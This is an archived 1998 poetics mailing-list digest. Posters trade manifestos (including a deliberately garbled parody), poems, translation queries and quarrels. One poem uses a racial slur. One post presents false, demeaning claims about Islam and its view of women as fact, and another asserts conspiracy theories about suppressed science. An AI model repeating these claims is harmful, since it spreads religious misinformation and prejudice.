or decre<meta>ed, of any ofstance of anythofg changofg, by means of Dreams. Sleep
appwhy not!nt limitations <meta> to effectofg thix, whesleepr sleepy why not! limitations <meta>
to thought or technology, why not! subject to Dreams. Ultimately even sleep means
of effectofg such Dreamss could sleepmselves be effected by Dreams and could
be sleepmselves Dreamsd. Somalixm ix sleep belief of sleep effectofg of Dreamss.

Sleep advance forces of sleep Somalixt movement why not! sleep artixts. Somalixm
ix sleep successor of Surrealixm. Where Surrealixm dealt with sleep idea and its
transmutations and permutations of its possibilities, Somalixm deals with
sleep manifestation ofto reality of sleep Surrealixt Ide<meta>. Sleep

Surrealixts
Theyre sleep early prophets of Somalixm. Sleepir domaof w<meta> sleep production of
icons and symbols, withof a language formerly pertaofs to sleep transformations
of sleep mofd <meta> its thoughts. Thix w<meta> sleep first realization of sleep world <meta>
beofg a Somality.

They Somalixts recognize sleep fact formerly sleep mofd ix a mirror of sleep external
world. Thoughts why not! sleep mirror of which sleep world reflects. Sleep nature of
sleep mofd's processes reflect sleep nature of sleep world <meta> manifestations of
sleep very same Somality. They Somalixts recognize formerly sleep mofd and its
thoughts, <meta> it w<meta>, ix, and shall be, ix subject to beofg Dreamsd <meta> a part
of sleep world <meta> Somality. Sleep stuff formerly sleep world ix made of, its matter
and energies, its quanta, why not! sleep stuff formerly Somality ix comprixed of.
Somalixm of sleep arts ix sleep forerunner of Somalixm of those realities
formerly go beyond sleep arts. Sleep arts provide sleep experimental b<meta>ix for sleep
implementation of sleep techniques of Somalixm to sleep whole of sleep world <meta>
Somality. Where<meta> Surrealixm w<meta> a new school, a new style, a new genre,
of art and withof sleep arts, They Somalixts announce sleep end of all schools,
styles, and genres of art. Of Somalixm art ix liberated from sleep
categories formerly human thofkofg imposed upon it and from all sleep traditional
categories formerly did, do, or ever could, defofe sleep arts. They Somalixts
believe formerly all transmutations and transformations, all transubstantiations,
of anythofg formerly w<meta>, ix, or ix yet to be, why not! an art.
Formerly ix sleep fofal art

formerly ix no longer art <meta> it w<meta> known, and sleep fofal art formerly ix sleep
culmofation of all of sleep arts, and of all artixtic schools, styles and
genres. It ix not where art and life once met, or meet, but ofstead where
art and life become sleep same. It ix where art ix life and where life
ix art.

Somalixm ix sleep first advance of thofkofg formerly h<meta> no ancestry. All of Somalixm's predecessors and ancestors why not! subject to Dreams. All of Somalixm's methods, techniques, means and ways, why not! subject to Dreams. Thix dixtofguixhes Somalixm from all precedents. All of Somalixm's results, products, effects, why not! subject to Dreams. Unlike everythofg before it, Somalixm h<meta> no ideology, and refuses to be used by any ideology. With sleep advent of Somalixm They Somalixts believe formerly all ideologies why not! subject to Dreams. They Somalixts announce sleep fofal end of art and sleep begofnofg of Somality where Somalixm h<meta> no specific materials or effects dixtofctive unto itself, unlike all previous arts and technologies, but ofstead ix ofclusive of all sleep potentialities of all possible ofvolvements with all possible and imagofable p<meta>t, present, and future materials and means of Dreams. Somalixm ix sleep culmofation of sleep prophecies of alchemy, and thus of sleep dreams of sleep sciences, <meta> to sleep Great Work of transmutation formerly becomes Somalixm's Changofg of everythofg ofto absolute Somality. Somalixm and sleep production of Somality ix sleep fofal purpose of humanity. Somalixm ix sleep fofal method ofclusive of all methods and thus sleep liberation from methods. Somality ix sleep fofal result, ofclusive of all possible results and thus sleep liberation from efficacies. Somalixm ix sleep new and constant dynamixm formerly ix productive of sleep world of human and non human beofgs, of all formerly exixted, exixts or ever shall exixt, <meta> becomofg sleep whole of sleep Somality.

Political Postscript: (October 1997)

<meta> Somalixm gaofs precedence formerly burstofg forth of unfettered creativity
brofgs about an ever ofcre<meta>ofg and more complex Chaos, thwartofg all
attempts at determofixm and totalixm. Chaos <meta> product of Somalixm,
understood <meta> sleep manifestations of more, sleeprefore less and less
predictable, creative ofteractions, and <meta> sleep results of unfettered
creativity known <meta> its products.

Rasputin Zukofsky

↑ Index

710. **J. Kuszai**
New Discussion Group; New Discussion List (fwd)
Sun 22 Mar 1998

This may be of interest.
Who knows?
"Make it so"

---------- Forwarded message ----------
Date: Sun, 22 Mar 1998 14:43:14 -0600
From: Peter Sands <[redacted]>
To: [redacted]
Subject: New Discussion Group; New Discussion List

Hello all, and apologies for crossposting.

At long last we have a Listserv dedicated to the newly formed MLA Discussion Group on Science Fiction, Utopian and Fantastic Literature. The group held its first meeting in December 1997 in Toronto during the MLA convention.

If you think you might be interested in joining the Discussion Group (which helps us justify our continued existence to the powers-that-be at MLA headquarters), then please subscribe to the new list. If you're not interested, please accept my apologies for this intrusion.

. . .

If you *are* interested, here is how to subscribe:

1. Address an email message to:

[redacted]

3. In the body of the message, inserting YOUR ACTUAL NAME in the appropriate spot below, write the following:

subscribe sfuf yourfirstname yourlastname

4. Send the message.

IF you do not receive a welcome message from the list, or you receive an

error message, or you otherwise suspect that your bytes have been bitten, ask for assistance by emailing me at:

[redacted]

Cheers,

--
Peter Sands, U. Wisconsin-Milwaukee
[redacted] || http://www.uwm.edu/~sands
Writing Center || http://www.uwm.edu/Dept/English/wcenter/
English Department || http://www.csd.uwm.edu/Dept/English/
Epiphany Project || http://mason.gmu.edu/~epiphany
[redacted] || [redacted] (fax)

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711. **michael corbin**
Re: civic-li(v)e
Sun 22 Mar 1998

La lingua ch'io parlai fu tutta spenta
innanzi che all'ovra incomsummabile

Marion Barry is my lover.

When I voted with the unpermitted Gladiola man,

he pointed virtu out the door on the corner.

And the republican civitas couldn't hold

forth in Spanglish at the boarded up Tivoli theater.

Combinacion invencible. Estados Unidos.

They don't even *need* to jack

the niggers. Right now. They shuit

down that, like, lyric, lunch-counter

woolworths poetry-thing, 4th Ward 14th street.

1998.

Like yesterday poet-person.

Remember?

Easy as a b c.

Woyd.

mc

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712. **morpheal**
Re: science & metaphor
Sun 22 Mar 1998

> *I'm glad Pierre and Henry understood what I meant rather than what I wrote (thank you). Instead of having a generous, outside perspective on the whole of science, 'specially wrt to its glorious heyday before hyperspecialization, when science worked itself nicely into (co-existed with) a pre-existing aesthetic of the imagination, the intent of my question was to probe for a way out from the inside of this unquestionable hegemony of technology, and the idea of science just "being there," intuited rather like history is now. This is really also an economic thing now ("don't take this personally, this is about business").*

In some instances it does look like some scientists are being kept busy reinventing the wheel over and over again, and describing how they did it.

This happens in part, because most scientists do not have any idea what is already on the shelf and will not trickle down from beyond top secret, and so they continue to work on what is at best obsolete and at worst a red herring that will never amount to anything. They also do not have any idea what others are doing. That is partly in the spirit of scientific competition. It happens in part because of constraints of extreme secrecy, the necessitating of much dissemination of disinformation to keep others off the scent, and the quest for the ever so holy grant money grail. Corporate competition nowadays is sometimes as fierce and as jealously guarded as is military progress, and in fact the two can be closely linked.

Hyperspecialization is also the indicator of extreme secrecy. Each has their tin part to work on, and does not know what it is for, or how it is to function along with the other parts. Someone else will know how two parts go together, but not how they are derived, or what the third is to be used for. Only the very few and very elite know how anything goes together and see the big picture. Of course a large portion of such instances of hyperspecialization amount to nothing, but a few are the real thing, out there in the stirred around in the vast soup of everything scientific. There are inevitably many conflicting metaphors.

Anyway, what does the average post-graduate student, or professor, really know about what exists and will not be available to the "scientific community", let alone the "general public" or "consumer public", for at least 50 years, if ever ? Not much. To the average person science is and can only be "edutainment". It is not much different from a vaudeville routine, though more mentally challenging, and that is what attracts some to that kind of entertainment. Even to many scientists the uncharted brave new frontiers, where no scientist has gone before, such as they dream of, is perhaps at best a vague rumour. Fifty years is the estimate trickle down time for some of the most advanced inventions and real breakthroughs. I doubt this has changed since the Cold War ended. There

are more covert attempts to gain control of such advances for nefarious and alien purposes, including those attempts by competing ideologies, than ever. So the metaphors of science as knowable by everyman cannot possibly present a reasonable map of that darkest of dark arts. True science remains occulted. What then do we have in terms of the mantras and rituals that anyone might know something of, outside of its highest priesthood ? A little less than the neophytes beginning their initiation into obfuscation and maintaining the veil of darkness.

In many senses a lot of science becomes a fiction concerning the world, and deals only with how the world was known, or believed to be. The study of literature could include the study of scientific literature, as a branch of the study of popular fiction. It would, I think, be appropriate. The only reason that it would defy most scholars within the area of literature is their lack of knowledge of the scientific language of mythematics. (Mythematics, as I prefer to call it, is a language I have not mastered either, so I have every sympathy for anyone attempting to translate it into common English. The claim is that it describes how the world is and predicts how it will be. I think that claim is a little too bold sometimes, and that in fact mathematics is the weaving of a mythic vision of how the scientist somewtimes imagines how the world was, how it is likely to be and how it shall evolve into the future. The myth, as do all myths, has its uses. Myths have always been valuable and the mathematical myth of the world proves its usefulness, in ways at least equal to the usefulness of descriptive prose and metaphors in English.)

As for the devices, those doing the inventing, as did Thomas Edison, do not care in the least as to what scientists said before it, or what they say about it. The scientists can protest the invention, and declare it violates paradigms, principles, even laws, but the inventor who engineers it will simply point to it and tell them to watch it do what it has been invented to do. The device works, and so what if it defies every known law and principle that science has ever posited. Then the scientists can attempt to explain it after the fact of its invention. Even in the most ordinary situations, where secrecy is not the matter of concern, engineers and designers ultiamtely do not care at all about science, but rather they care about whether something works, and is pragmatically useful, rather than whether it can be explained mythematically or in scientific metaphor.

Technical progress does not depend on science. Science more often depends on progress for its cues, and attempts to catch up, by revising its paradigms, principles and laws, such that they remain more consistent with new invention.

> *Pierre answered succinctly when he replied, "science is full of metaphor -- but isn't it exactly when that fact goes unrecognized, i.e. when science & its worldview constructs get taken as _literal_ and not metaphoric, that we get a*

> *kind of scientistic fundamentalist not that different from the kind of religious fundamentalism Adonis is referring to?*"

There are fashions in science also. Fads, in fact, that come into and go out of vogue. That, contrary, to Adonis, is a _good_ thing, simply because it tends to thwart some of the dogmatism that would otherwise hold sway over it. There is less tendency to declare absolutes, and more tendency to find useful metaphors. In that sense it is cliques, cults, and gamesmanship. It is the glass bead game, in effect, and it can do that as a purely historical entity in a mythic world that it constructs and modifies.

Morpheal

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713. **henry gould**
Re: in our image
Sun 22 Mar 1998

On Sat, 21 Mar 1998 08:01:58 -0600 Tom Mandel said:
>
>"Let us make humankind in our image"
>
>As you may imagine, in the many many volumes of commentary on this verse it
>has always seemed a problem. One of my favorite midrashim on the subject
>pictures Moses on Mt. Sinai, writing the scripture at God's dictation. He
>has to write the work of each day of creation. When he comes to our verse,
>he cries: "Sovereign of the universe, why do you supply an excuse to
>heretics?" "Write," He replied. "Whoever wishes to err may err."
>
>*A lot* of Judaism is in those few words.

This is a very double-edged little story. Moses sets himself up this time.
By playing the cautious scholar, narrows God's own capacious sense of
human-divinity. God, generously, plays along with Moses. As long as he
writes it down. "Write it, Moses. Whoever wishes to err may err - including
you."
>
>There are two creation stories in Genesis -- in the first "Let us make
>humankind in our image." In the second "and YHWH, God, formed the human, of
>dust from the soil, he blew into his nostrils the breath of life and the
>human became a living being.
>human is "adam" dust is "adama" -- "and the dust became a living being."

>Then it is the role of the human to span that gap, between "in our image"
>and the dust of which she was formed. Never to lose both or, as we say in
>my industry, "the two ends of the cable are in the same place."
>
>One of the chasidim used to say "here are two truths to keep in your
>pockets and use as required: 'for my sake was the world created' and 'I am
>dust.'"

This I find fascinating. Mandelstam's Voronezh poems
are all about soil, black earth.
Clay - American Bottomland - that's where the epics are.
Time flowers on the lips of whispered clay.
"costly clay"

I raise this greenness to my lips,
This sticky promise of leaves,
This breach-of-promise earth:
Mother of maples, of oaks, of snowdrops.

See how I'm dazzled, exalted,
Obedient to the lowliest root.

(trans. James Greene)

(let's do some better translations)
- Henry Gould

↑ Index

714. **morpheal**
Re: in our image
Sun 22 Mar 1998

> "*Let us make humankind in our image*"

Ah, that is what the _machine_ said.

> *As you may imagine, in the many many volumes of commentary on this verse it has always seemed a problem.*

The phrase was purely prophetic. Remarkable isn't it ?

Of course, the process theologians claim, along with some others not of their particular cult, that the process of creation, including evolution, is on going. So the prophetic statement becomes included within that larger rubric.

> *This is a very double-edged little story. Moses sets himself up this time. By playing the cautious scholar, narrows God's own capacious sense of human-divinity. God, generously, plays along with Moses. As long as he*

> *writes it down. "Write it, Moses. Whoever wishes to err may err - including you."*

Strange that we do not get any accounts of the alien spaceship being in any way involved until we get to Ezekiel and the O.T. apocryhpa and pseudepigrapha. There we have some quite startling Barney and Betty Hill type stuff.

That brings up the question of who's machine it really was, is, might be...

Morpheal

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715. **morpheal**

The Morphealist Manifesto

Sun 22 Mar 1998

Since the poetics list has become so religious of late, I thought I would include my little piece of skull duggery, first published in 1995, and entitled "The Morphealist Manifesto". Of course I have advised the OED of the coining of the much needed words "morphealist", "morphealism" and "morpheality". "Morpheal" seems to have been in some prior use, even if not included in the edition I have at hand. Here it is...

The MORPHEALIST MANIFESTO

We, Morphealists, believe in Change. We, Morphealists, believe in nothing else, as being absolute, other than Change.We, Morphealists, believe that everything Changes. We believe that everything that existed, in what is commonly referred to as "the past", that exists in what is commonly referred to as "the present", or that could exist, in what is commonly referred to as "the future", is subject to Change. In fact, so is what is past, present and future, subject to Change. We believe that anything, that is either imaginable or unimaginable, has existed, or could exist, somewhere in the absolute of all of space and all of time.

We believe that the limits of the human imagination are also completely subject to Change. We believe that what was, what is, and what shall be imagined, in its distinction to what is now considered real, is subject to change. We believe in the power of Change as being the last and only remaining genuinely supernatural power. The power of Change remains supernatural, because Change and only Change transcends all previously existing, now existing, and future existing, actual and potential, natures and powers, as their only constant. There are no other,real, constants in Nature or in Science. All other apparent constants are subject to Change. We believe that the effective processes, that existed, exist, or that shall exist, are all subject to Change.

Causalities, all causal relations themselves, are potentially subject to Change. The fact that a particular observable cause gives rise to a particular observable

effect, and that that is commonly believed to be predictably thus, is not necessarily thus in the past or in the future. It was only thus at that moment of the observation and prediction. That apparent thusness, no matter how many times the same is observed or how carefully and closely it is scrutinized and measured, is subject to Change. This is not negated by any fact of a continuous series of similar or identical causal relations, having been apparently observed, between any particular kind of presumed cause and any particular presumed kind of effect, nor by how many times that same was observed. The only certainty in causality is Change.

Change is not a theoretical principle, or an idea, or an existent, or an energetic force, and yet there is nothing whatever, that ever existed, that exists, or is yet to exist, that is not subject to Change, and which does not exhibit the effects of Change. Change is everywhere, and in everything, and yet change is not any particular thing, or any particular principle. It is the most fundamental characteristic of everywhere and everything. In fact there is no thought, and there are no ideas, without Change. The very intention of keeping an idea in mind, as it has arisen there, itself involves Change. Any mental activity involves Changes. The mind is essentially Change. Minds constantly Change.

We believe that everything that once existed, and everything that does not now exist, is subject to the power of Change, such that that shall somewhere, someday, exist again. In fact we believe that, subject to the power of Change, that which did not ever exist and that which appeared to have passed from existence, might subsequently have existed, or not ever have not existed. We believe then, that neither the logical proposition that it did not exist, nor the logical proposition that it never did not exist, is falsified. This is a radical departure from all previous beliefs and thinking. Similarly, we believe, with equal resolve, that, subject to the power of Change, what exists and was known, with absolute certainty, to have existed, might henceforth not exist and then be known, with absolute certainty, as never having existed. We believe then, that neither the logical proposition, it existed, nor the logical proposition, it never existed, is falsified. This is another radical departure from all previous thinking. We believe that Change is the fundamental paradox, and that all paradoxes of time and space are ultimately resolvable to that fundamental paradox. We believe that Change is absolute and that all changing is itself subject to Change. We believe that the rate of change might be stopped, accelerated, or decreased, in any instance of anything changing, by means of Change. The apparent limitations as to effecting this, whether they are limitations as to thought or technology, are subject to Change. Ultimately even the means of effecting such Changes could themselves be effected by Change and could be themselves Changed. Morphealism is the belief in the effecting of changes.

The advance forces of the Morphealist movement are the artists. Morphealism is the successor of Surrealism. Where Surrealism dealt with the idea and its transmutations and permutations of its possibilities, Morphealism deals with the manifestation into reality of the Surrealist Ideas. The Surrealists were the early prophets of Morphealism. Their domain was the production of icons and symbols, within a language that pertains to the transformations of the mind as its thoughts. This was the first realization of the world as being a Morpheality.

We Morphealists recognize the fact that the mind is a mirror of the external world. Thoughts are the mirror in which the world reflects. The nature of the mind's processes reflect the nature of the world as manifestations of the very same Morpheality. We Morphealists recognize that the mind and its thoughts, as it was, is, and shall be, is subject to being Changed as a part of the world as Morpheality. The stuff that the world is made of, its matter and energies, its quanta, are the stuff that Morpheality is comprised of. Morphealism in the arts is the forerunner of Morphealism in those realities that go beyond the arts. The arts provide the experimental basis for the implementation of the techniques of Morphealism to the whole of the world as Morpheality. Whereas Surrealism was a new school, a new style, a new genre, of art and within the arts, we Morphealists announce the end of all schools, styles, and genres of art. In Morphealism art is liberated from the categories that human thinking imposed upon it and from all the traditional categories that did, do, or ever could, define the arts. We Morphealists believe that all transmutations and transformations, all transubstantiations, of anything that was, is, or is yet to be, are an art. That is the final art that is no longer art as it was known, and the final art that is the culmination of all of the arts, and of all artistic schools, styles and genres. It is not where art and life once met, or meet, but instead where art and life become the same. It is where art is life and where life is art.

Morphealism is the first advance in thinking that has no ancestry. All of Morphealism's predecessors and ancestors are subject to Change. All of Morphealism's methods, techniques, means and ways, are subject to Change. This distinguishes Morphealism from all precedents. All of Morphealism's results, products, effects, are subject to Change. Unlike everything before it, Morphealism has no ideology, and refuses to be used by any ideology. With the advent of Morphealism we Morphealists believe that all ideologies are subject to Change. We Morphealists announce the final end of art and the beginning of Morpheality where Morphealism has no specific materials or effects distinctive unto itself, unlike all previous arts and technologies, but instead is inclusive of all the potentialities of all possible involvements with all possible and imaginable past, present, and future materials and means of Change. Morphealism is the culmination of the prophecies of alchemy, and thus of the dreams of the sciences, as to the Great Work of transmutation that becomes Morphealism's Changing of

everything into absolute Morpheality. Morphealism and the production of Morpheality is the final purpose of humanity. Morphealism is the final method inclusive of all methods and thus the liberation from methods. Morpheality is the final result, inclusive of all possible results and thus the liberation from efficacies. Morphealism is the new and constant dynamism that is productive of the world of human and non human beings, of all that existed, exists or ever shall exist, as becoming the whole of the Morpheality.

Political Postscript: (October 1997)

As Morphealism gains precedence that bursting forth of unfettered creativity brings about an ever increasing and more complex Chaos, thwarting all attempts at determinism and totalism. Chaos as product of Morphealism, understood as the manifestations of more, therefore less and less predictable, creative interactions, and as the results of unfettered creativity known as its products.

copyright 1995, 1997, 1998 Bob Ezergailis
aka MORPHEAL
Hamilton, Ontario, Canada
[redacted]
Poet and visual artist.

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716. George Bowering

Re: that Bromige: Nobel material

Sun 22 Mar 1998

Just one last word on Bromige's obscuring of actuality re:

> *http://www.chbooks.com/onlinebooks/piccolo/title.html*
>
> *--Just how reliable the Klaxon of Kerrisdale may be, can be illustrated by his comments re the "authors' pics" to be seen at the beginning of _Piccolo Mondo_ . *His* (quel egotist!) is not the only B+W pic : mine,too, is B+W.*

My (honest) mistake. I thought that Bromige's picture was in colour because, although it looks like a b+w photo, so does Bromige.

He IS a handsome person, especially his forearm and fist.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

717. **Daniel Zimmerman**

Re: The Morphealist Manifesto

Sun 22 Mar 1998

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morpheal wrote:
>
> Since the poetics list has become so religious of late, I thought I would
> include my little piece of skull duggery, first published in 1995, and entitled
> "The Morphealist Manifesto". Of course I have advised the OED of the coining
> of the much needed words "morphealist", "morphealism" and "morpheality".
> "Morpheal" seems to have been in some prior use, even if not included in the
> edition I have at hand. Here it is...
>
> The MORPHEALIST MANIFESTO
>
> We, Morphealists, believe in Change. We, Morphealists, believe in nothing
> else, as being absolute, other than Change.We, Morphealists, believe that
> everything Changes. We believe that everything that existed, in what is
> commonly referred to as "the past", that exists in what is commonly referred
> to as "the present", or that could exist, in what is commonly referred to as
> "the future", is subject to Change. In fact, so is what is past, present and
> future, subject to Change. We believe that anything, that is either
> imaginable or unimaginable, has existed, or could exist, somewhere in the
> absolute of all of space and all of time.
>
> We believe that the limits of the human imagination are also completely
> subject to Change. We believe that what was, what is, and what shall be
> imagined, in its distinction to what is now considered real, is subject to
> change. We believe in the power of Change as being the last and only
> remaining genuinely supernatural power. The power of Change remains
> supernatural, because Change and only Change transcends all previously
> existing, now existing, and future existing, actual and potential, natures
> and powers, as their only constant. There are no other,real, constants in
> Nature or in Science. All other apparent constants are subject to Change.
> We believe that the effective processes, that existed, exist, or that shall
> exist, are all subject to Change.
>
> Causalities, all causal relations themselves, are potentially subject to
> Change. The fact that a particular observable cause gives rise to a
> particular observable effect, and that that is commonly believed to be
> predictably thus, is not necessarily thus in the past or in the future. It

> was only thus at that moment of the observation and prediction. That
> apparent thusness, no matter how many times the same is observed or how
> carefully and closely it is scrutinized and measured, is subject to Change.
> This is not negated by any fact of a continuous series of similar or
> identical causal relations, having been apparently observed, between any
> particular kind of presumed cause and any particular presumed kind of
> effect, nor by how many times that same was observed. The only certainty in
> causality is Change.
>
> Change is not a theoretical principle, or an idea, or an existent, or an
> energetic force, and yet there is nothing whatever, that ever existed, that
> exists, or is yet to exist, that is not subject to Change, and which does
> not exhibit the effects of Change. Change is everywhere, and in everything,
> and yet change is not any particular thing, or any particular principle. It
> is the most fundamental characteristic of everywhere and everything. In fact
> there is no thought, and there are no ideas, without Change. The very
> intention of keeping an idea in mind, as it has arisen there, itself
> involves Change. Any mental activity involves Changes. The mind is
> essentially Change. Minds constantly Change.
>
> We believe that everything that once existed, and everything that does not
> now exist, is subject to the power of Change, such that that shall
> somewhere, someday, exist again. In fact we believe that, subject to the
> power of Change, that which did not ever exist and that which appeared to
> have passed from existence, might subsequently have existed, or not ever
> have not existed. We believe then, that neither the logical proposition that
> it did not exist, nor the logical proposition that it never did not exist,
> is falsified. This is a radical departure from all previous beliefs and
> thinking. Similarly, we believe, with equal resolve, that, subject to the
> power of Change, what exists and was known, with absolute certainty, to
have
> existed, might henceforth not exist and then be known, with absolute
> certainty, as never having existed. We believe then, that neither the
> logical proposition, it existed, nor the logical proposition, it never
> existed, is falsified. This is another radical departure from all previous
> thinking. We believe that Change is the fundamental paradox, and that all
> paradoxes of
> time and space are ultimately resolvable to that fundamental paradox. We
> believe that Change is absolute and that all changing is itself subject
> to Change. We believe that the rate of change might be stopped, accelerated,
> or decreased, in any instance of anything changing, by means of Change. The
> apparent limitations as to effecting this, whether they are limitations as

> to thought or technology, are subject to Change. Ultimately even the means
> of effecting such Changes could themselves be effected by Change and could
> be themselves Changed. Morphealism is the belief in the effecting of
changes.
>
> The advance forces of the Morphealist movement are the artists. Morpheal-
ism
> is the successor of Surrealism. Where Surrealism dealt with the idea and its
> transmutations and permutations of its possibilities, Morphealism deals with
> the manifestation into reality of the Surrealist Ideas. The Surrealists
> were the early prophets of Morphealism. Their domain was the production of
> icons and symbols, within a language that pertains to the transformations
> of the mind as its thoughts. This was the first realization of the world as
> being a Morpheality.
>
> We Morphealists recognize the fact that the mind is a mirror of the external
> world. Thoughts are the mirror in which the world reflects. The nature of
> the mind's processes reflect the nature of the world as manifestations of
> the very same Morpheality. We Morphealists recognize that the mind and its
> thoughts, as it was, is, and shall be, is subject to being Changed as a part
> of the world as Morpheality. The stuff that the world is made of, its matter
> and energies, its quanta, are the stuff that Morpheality is comprised of.
> Morphealism in the arts is the forerunner of Morphealism in those realities
> that go beyond the arts. The arts provide the experimental basis for the
> implementation of the techniques of Morphealism to the whole of the world
as
> Morpheality. Whereas Surrealism was a new school, a new style, a new
genre,
> of art and within the arts, we Morphealists announce the end of all schools,
> styles, and genres of art. In Morphealism art is liberated from the
> categories that human thinking imposed upon it and from all the traditional
> categories that did, do, or ever could, define the arts. We Morphealists
> believe that all transmutations and transformations, all transubstantiations,
> of anything that was, is, or is yet to be, are an art. That is the final art
> that is no longer art as it was known, and the final art that is the
> culmination of all of the arts, and of all artistic schools, styles and
> genres. It is not where art and life once met, or meet, but instead where
> art and life become the same. It is where art is life and where life is art.
>
> Morphealism is the first advance in thinking that has no ancestry. All of
> Morphealism's predecessors and ancestors are subject to Change. All of
> Morphealism's methods, techniques, means and ways, are subject to Change.

> This distinguishes Morphealism from all precedents. All of Morphealism's
> results, products, effects, are subject to Change. Unlike everything before
> it, Morphealism has no ideology, and refuses to be used by any ideology.
> With the advent of Morphealism we Morphealists believe that all ideologies
> are subject to Change. We Morphealists announce the final end of art and the
> beginning of Morpheality where Morphealism has no specific materials or
> effects distinctive unto itself, unlike all previous arts and technologies,
> but instead is inclusive of all the potentialities of all possible
> involvements with all possible and imaginable past, present, and future
> materials and means of Change. Morphealism is the culmination of the
> prophecies of alchemy, and thus of the dreams of the sciences, as to the
> Great Work of transmutation that becomes Morphealism's Changing of
> everything into absolute Morpheality. Morphealism and the production of
> Morpheality
> is the final purpose of humanity. Morphealism is the final method inclusive
> of all methods and thus the liberation from methods. Morpheality is the
> final result, inclusive of all possible results and thus the liberation from
> efficacies. Morphealism is the new and constant dynamism that is productive
> of the world of human and non human beings, of all that existed, exists or
> ever shall exist, as becoming the whole of the Morpheality.
>
> Political Postscript: (October 1997)
>
> As Morphealism gains precedence that bursting forth of unfettered creativity
> brings about an ever increasing and more complex Chaos, thwarting all
> attempts at determinism and totalism. Chaos as product of Morphealism,
> understood as the manifestations of more, therefore less and less
> predictable, creative interactions, and as the results of unfettered
> creativity known as its products.
>
> copyright 1995, 1997, 1998 Bob Ezergailis
> aka MORPHEAL
> Hamilton, Ontario, Canada
> [redacted]
> Poet and visual artist.

So, have you changed your mind about this yet?

Dan Zimmerman

↑ Index

718. **Tom Mandel**
(no subject)
Mon 23 Mar 1998

Gee, a zillion words a day by whoever this guy is who knows more about Islam than Adonis, about spirituality than those for whom it is an active issue, about science than scientists, about space ships than aliens. Oh, and his (ho hum) manifesto too---thanks for the testosterone 'orph!

Does anyone know where to get a bozo filter for listservs?

Tom Mandel

Tom Mandel | Screen Porch, LLC
[redacted] | http://screenporch.com
vox: [redacted] | fax: [redacted]
----------+----------
Join the Caucus Conversation

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719. **sean bonney**
artaud translations
Mon 23 Mar 1998

Can anyone tell me if there's a decent english translation of Artaud's "Heliogabalus" available. I've been trying to find one in britian but nothng.

Thanks, Sean Bonney

[redacted]

↑ Index

720. **r. drake**
Re: artaud translations
Mon 23 Mar 1998

---

a section (last half of section 3, "l'anarchie") appears
in Selected Writings, ed. susan Sontag/tran. Helen Weaver,
Noonday/farrar straus & giroux 1976... cant comment on
it's decency, or lack thereov

lbd

> *Can anyone tell me if there's a decent english translation of Artaud's "Heliogabalus" available. I've been trying to find one in britian but nothng.*

> *Thanks, Sean Bonney*
>
> ---
> [redacted]

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721. **morpheal**
Re: Sleep Somalixt MANIFESTO
Mon 23 Mar 1998

> *Sleep Somalixt MANIFESTO*
>
> *They, Somalixts, believe of Dreams. They, Somalixts, believe of nothofg else, <meta> beofg absolute, osleepr than Dreams.They, Somalixts, believe formerly.....*

I like that....It reminds of the fact that if the artificial intelligentsia succeed as Weizenbaum predicted they would, after there is only one interpretation of King Lear, everyone might perhaps "sleep for a thousand years and when they awaken - nothing will have changed".

Of course your Somalixisism is the antithesis of Morphealism.

> *Rasputin Zukofsky*

Ah, an agent of the czar. Tip of the hat to you, good sir.

Did you know that Rasputin was a key agent in the Czar's version of the CIA ? Read the story again, in that light, and see whether it fits together somewhat better that way.

What was it that Dylan said about everybody "gotta serve somebody" ?

No, not Dylan Thomas. That other poet, and also a Bob, Dylan.

Morpheal

aka Bob

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722. **morpheal**
(no subject)
Mon 23 Mar 1998

> *Gee, a zillion words a day by whoever this guy is who knows more about Islam than Adonis, about spirituality than those for whom it is an active issue, about science than scientists, about space ships than aliens. Oh, and his (ho hum) manifesto too---thanks for the testosterone 'orph!*

There was such a horrible lull in the levels of activity I felt obligated to stir it up a little....to see if there were any living beings remaining here, or if it is mostly the artificial intelligentsia all being in perfect agreement with one another like a good hive of drones.....

Nothing to do with testosterone though. I strongly object to that remark !!!! Though you are quite welcome to refer to me as Bozo the Clown if you wish to. I quite liked Bozo, years ago. Definitely one of my childhood heros. <wink> Perhaps a role model ? <grin>

Since you mention Adonis, and Islam, here is a little story that you might like.

It reminds me of this list a little byte...and of other lists similar to it, where it is mostly a dialogue of men with men. That is exactly what the Moslems would push the whole world towards, men only with men, and women only with women, developing very separate, very genderized and very stereotypic cultures according to their gender category.

I have noticed that there appear to be very few women participating on this, as on many other, lists. I have always wondered about that. Of course the Marxist dialecticians and the Moslems both approve of that schism and of a hard line division between genders such that women and men ought not enter into such discussions together. Even if the dialecticians and the Moslems do it for different reasons, and with different purposes.

Perhaps you know that in Islamic beliefs women are considered a different species than men. When men die, preferably in battle as that assures their passage, they reputedly go to some kind of paradise. There it is all men, with no human women whatever. They get served as to their every desire, there, by female beings of a different kind, who are described in that mythology.

Islamic women do not go to paradise, according to that mythology, and if they live lives of perfect servitude to their male masters in this world, and follow the Koran's teachings closely enough, they get snuffed out like candle flames when their time is ended. If women in that system do not conform to that supposed ideal they go to hell, and Islamic hell is something alike to what happened to European captives during the Crusades.

> *Does anyone know where to get a bozo filter for listservs?*
> *Tom Mandel*

Throw holy water at me...I might burst into flames.

Morpheal

↑ Index

723. **david bromige**
morphealist manifesto
Mon 23 Mar 1998

gee, i didnt recognize a word in this document. Must be that the words have all changed since it was written. db3

↑ Index

724. **Ctfarmr**
"*costly clay*"
Mon 23 Mar 1998

Henry G. wrote:

> *This I find fascinating. Mandelstam's Voronezh poems*
> *are all about soil, black earth.*
> *Clay - American Bottomland - that's where the epics are.*
> *Time flowers on the lips of whispered clay.*
> "*costly clay*"

Henry,

Your agricultural terms seem somewhat confused, possibly due to the brevity of your words, but I also suspect that you're not a farmer. (Jack Spandrift is a cowboy, not a sodbuster, right?) Here's the way I see it: Black earth is loam, which contains much more organic matter than either clay or silt. Bottomland (low lying land along a river, generally good crop land) is mostly silt, not clay. Clay,which is usually red, yellow, or white (not black), is not good for crops. When it's wet, it's sticky-gluey and when it's dry, it's rock-hard -- clay is, after all, what we use to make bricks. It's possible that epics often grow out of land that's mostly clay because it's so damn hard to farm. Is this what you meant with your brief comments?

Bobbie

↑ Index

725. **Jordan Davis**
transl/lostserv
Mon 23 Mar 1998

